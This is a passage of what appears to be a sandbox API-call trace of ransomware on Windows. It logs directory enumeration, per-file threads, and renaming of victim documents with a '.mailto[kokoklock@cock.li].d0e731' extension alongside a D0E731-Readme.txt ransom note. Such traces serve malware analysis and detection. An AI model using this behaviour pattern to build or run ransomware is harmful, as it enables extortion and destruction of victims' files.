Flags=0x8, Size=0x118) returned 0x2fa00f8 [0177.097] wcscpy (in: _Dest=0x2fa00f8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731" [0177.097] wcscat (in: _Dest=0x2fa00f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0177.097] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\eoordulzfuyzz-kxgtu.ods.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\eoordulzfuyzz-kxgtu.ods.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0177.099] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.100] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa00f8) returned 1 [0177.100] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.100] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2f95128 [0177.100] wcscpy (in: _Dest=0x2f95128, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0177.100] wcscat (in: _Dest=0x2f95128, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" [0177.100] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\d0e731-readme.txt")) returned 0x20 [0177.100] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95128) returned 1 [0177.100] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97678) returned 1 [0177.100] RtlExitUserThread (Status=0x1) Thread: id = 2565 os_tid = 0x120c [0177.101] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\H76nbsmL.xls.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\h76nbsml.xls.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.101] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\H76nbsmL.xls.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.101] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\H76nbsmL.xls.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\h76nbsml.xls.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0177.102] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x271ffc3c | out: lpFileSize=0x271ffc3c*=97455) returned 1 [0177.102] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x17cab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.102] ReadFile (in: hFile=0x450, lpBuffer=0x271ffc10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x271ffc0c, lpOverlapped=0x0 | out: lpBuffer=0x271ffc10*, lpNumberOfBytesRead=0x271ffc0c*=0x4, lpOverlapped=0x0) returned 1 [0177.103] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.103] CloseHandle (hObject=0x450) returned 1 [0177.103] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\H76nbsmL.xls.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.103] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa7158) returned 1 [0177.103] RtlExitUserThread (Status=0x0) Thread: id = 2566 os_tid = 0x1214 [0177.104] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x72) returned 0x2fef9e8 [0177.105] wcscpy (in: _Dest=0x2fef9e8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" [0177.105] wcscat (in: _Dest=0x2fef9e8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0177.105] wcscat (in: _Dest=0x2fef9e8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\*") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\*" [0177.105] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3023590 [0177.105] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\*", lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47143750, ftCreationTime.dwHighDateTime=0x1d4c644, ftLastAccessTime.dwLowDateTime=0x89689df2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89689df2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80820 [0177.106] wcscmp (_String1=".", _String2=".") returned 0 [0177.106] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47143750, ftCreationTime.dwHighDateTime=0x1d4c644, ftLastAccessTime.dwLowDateTime=0x89689df2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89689df2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.106] wcscmp (_String1="..", _String2=".") returned 1 [0177.106] wcscmp (_String1="..", _String2="..") returned 0 [0177.106] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d79b030, ftCreationTime.dwHighDateTime=0x1d4cf29, ftLastAccessTime.dwLowDateTime=0x6f719a20, ftLastAccessTime.dwHighDateTime=0x1d4cfa0, ftLastWriteTime.dwLowDateTime=0x6f719a20, ftLastWriteTime.dwHighDateTime=0x1d4cfa0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cRX9", cAlternateFileName="")) returned 1 [0177.106] wcscmp (_String1="cRX9", _String2=".") returned 1 [0177.106] wcscmp (_String1="cRX9", _String2="..") returned 1 [0177.106] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x78) returned 0x2fefae8 [0177.107] wcscpy (in: _Dest=0x2fefae8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" [0177.107] wcscat (in: _Dest=0x2fefae8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0177.107] wcscat (in: _Dest=0x2fefae8, _Source="cRX9" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\cRX9") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\cRX9" [0177.613] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fefae8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4 [0177.614] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895355ea, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x895355ea, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x895355ea, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0177.614] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0177.614] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0177.614] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd04ebd0, ftCreationTime.dwHighDateTime=0x1d4c9ec, ftLastAccessTime.dwLowDateTime=0x8b955980, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b955980, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DTZQ", cAlternateFileName="")) returned 1 [0177.614] wcscmp (_String1="DTZQ", _String2=".") returned 1 [0177.614] wcscmp (_String1="DTZQ", _String2="..") returned 1 [0177.614] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x78) returned 0x2ff0468 [0177.614] wcscpy (in: _Dest=0x2ff0468, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" [0177.614] wcscat (in: _Dest=0x2ff0468, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0177.614] wcscat (in: _Dest=0x2ff0468, _Source="DTZQ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ" [0177.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2ff0468, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0177.615] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd922b260, ftCreationTime.dwHighDateTime=0x1d4cb7c, ftLastAccessTime.dwLowDateTime=0x1897f500, ftLastAccessTime.dwHighDateTime=0x1d4cc0d, ftLastWriteTime.dwLowDateTime=0x895355ea, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xbd40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="KK8US_~1.D0E")) returned 1 [0177.615] wcscmp (_String1="Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.615] wcscmp (_String1="Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.615] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0177.615] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" [0177.615] wcscat (in: _Dest=0x2f7e038, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0177.615] wcscat (in: _Dest=0x2f7e038, _Source="Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731" [0177.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f7e038, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0177.616] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18fd9b30, ftCreationTime.dwHighDateTime=0x1d4d11c, ftLastAccessTime.dwLowDateTime=0xc8474d80, ftLastAccessTime.dwHighDateTime=0x1d4c626, ftLastWriteTime.dwLowDateTime=0x8955b8f4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a16, dwReserved0=0x0, dwReserved1=0x0, cFileName="m0Inl.odt.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="M0INLO~1.D0E")) returned 1 [0177.616] wcscmp (_String1="m0Inl.odt.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.616] wcscmp (_String1="m0Inl.odt.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.616] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc4) returned 0x2fc3bc8 [0177.616] wcscpy (in: _Dest=0x2fc3bc8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" [0177.616] wcscat (in: _Dest=0x2fc3bc8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0177.616] wcscat (in: _Dest=0x2fc3bc8, _Source="m0Inl.odt.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt.mailto[kokoklock@cock.li].d0e731" [0177.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc3bc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0177.617] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50f1abe0, ftCreationTime.dwHighDateTime=0x1d4cc5c, ftLastAccessTime.dwLowDateTime=0x8c4a8c31, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c4a8c31, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="n1JH8G4OIjPkJwNJ", cAlternateFileName="N1JH8G~1")) returned 1 [0177.617] wcscmp (_String1="n1JH8G4OIjPkJwNJ", _String2=".") returned 1 [0177.617] wcscmp (_String1="n1JH8G4OIjPkJwNJ", _String2="..") returned 1 [0177.617] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2f95ed0 [0177.617] wcscpy (in: _Dest=0x2f95ed0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" [0177.617] wcscat (in: _Dest=0x2f95ed0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0177.617] wcscat (in: _Dest=0x2f95ed0, _Source="n1JH8G4OIjPkJwNJ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" [0177.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f95ed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4 [0177.618] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffce7cd0, ftCreationTime.dwHighDateTime=0x1d4c9d0, ftLastAccessTime.dwLowDateTime=0x7fd07bf0, ftLastAccessTime.dwHighDateTime=0x1d4c714, ftLastWriteTime.dwLowDateTime=0x89581b19, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x15078, dwReserved0=0x0, dwReserved1=0x0, cFileName="nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NT4HAA~1.D0E")) returned 1 [0177.618] wcscmp (_String1="nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.618] wcscmp (_String1="nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.618] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2f98408 [0177.618] wcscpy (in: _Dest=0x2f98408, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" [0177.618] wcscat (in: _Dest=0x2f98408, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0177.618] wcscat (in: _Dest=0x2f98408, _Source="nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731" [0177.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f98408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0177.619] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0dabda0, ftCreationTime.dwHighDateTime=0x1d4c7ca, ftLastAccessTime.dwLowDateTime=0x31a91c70, ftLastAccessTime.dwHighDateTime=0x1d4d29a, ftLastWriteTime.dwLowDateTime=0x895a7d74, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x0, cFileName="tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="TOE4LA~1.D0E")) returned 1 [0177.619] wcscmp (_String1="tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.619] wcscmp (_String1="tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.619] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xca) returned 0x2f7e1e8 [0177.619] wcscpy (in: _Dest=0x2f7e1e8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" [0177.619] wcscat (in: _Dest=0x2f7e1e8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0177.619] wcscat (in: _Dest=0x2f7e1e8, _Source="tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731" [0177.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f7e1e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840 [0177.619] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe576abd0, ftCreationTime.dwHighDateTime=0x1d4d36e, ftLastAccessTime.dwLowDateTime=0xe9b10be0, ftLastAccessTime.dwHighDateTime=0x1d4c712, ftLastWriteTime.dwLowDateTime=0x896039f9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="ZDWWEN~1.D0E")) returned 1 [0177.619] wcscmp (_String1="zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.620] wcscmp (_String1="zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.620] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe2) returned 0x2fc4d00 [0177.620] wcscpy (in: _Dest=0x2fc4d00, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" [0177.620] wcscat (in: _Dest=0x2fc4d00, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0177.620] wcscat (in: _Dest=0x2fc4d00, _Source="zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731" [0177.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc4d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420 [0177.620] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe576abd0, ftCreationTime.dwHighDateTime=0x1d4d36e, ftLastAccessTime.dwLowDateTime=0xe9b10be0, ftLastAccessTime.dwHighDateTime=0x1d4c712, ftLastWriteTime.dwLowDateTime=0x896039f9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="ZDWWEN~1.D0E")) returned 